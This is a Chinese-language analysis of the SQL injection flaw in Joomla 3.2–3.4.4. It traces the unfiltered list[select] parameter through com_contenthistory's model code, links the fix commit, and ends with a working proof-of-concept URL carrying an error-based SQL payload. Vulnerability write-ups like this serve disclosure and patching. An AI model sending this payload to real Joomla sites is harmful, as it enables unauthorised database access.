Joomla 3.2 – 3.4.4 SQL注入分析
出漏洞的页面在/administrator/components/com_contenthistory/models/history.php
原因是populateState 函数没有对 list.select 进行过滤。
漏洞分析
首先看一下/administrator/components/com_contenthistory/models/history.php文件中的getListQuery()函数,大概在304行左右:
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
// Select the required fields from the table.
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
发现调用了getState()函数,继续跟进getState()函数,这个函数的内容位于/libraries/legacy/model/legacy.php中,大概在434行左右:
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
// Set the model state set flag to true.
$this->__state_set = true;
}
return $property === null ? $this->state : $this->state->get($property, $default);
}
发现调用了populateState()函数,继续跟进,在/administrator/components/com_contenthistory/models/history.php 内,发现做了一些赋值操作,都是强制为integer类型,但是最后可以看到调用了父类的pipulateState函数,继续跟进去,在libraries/legacy/model/list.php中,大概在482行附近。发现这个继续调用了getUserStateFromRequest()函数,这个函数主要是讲GET和POST中得到的list[]变量赋值到$list中,并且指定了类型为array(),继续跟进后,发现没有处理list[select]的逻辑。
从这里看看补丁patch的内容:https://github.com/joomla/joomla-cms/commit/dca641f67e8e341bf0ef74f775a5e81ad3ccf384
发现switch...case的位置没有处理select的逻辑,导致直接进入了default的部分,紧接着$this->setState('list.'.$name,$value)赋值给Model属性,这里赋值的是未过滤处理的值。
这样漏洞的问题就显而易见了,在history.php中的getListQuery函数中,我们可以控制getState('list.select')的部分。
构造有效的POC如下,其中的list[ordering]=是个坑,为了使将原SQL中的order by字段清空,如果不清空的话会得到Unkown column 'Array'的问题,各位自己试试就明白了。
POC如下:
/index.php?option=com_contenthistory&view=history&item_id=1&list[ordering]=&type_id=1&list[select]=(exp(~(select * from(select md5(1))x)))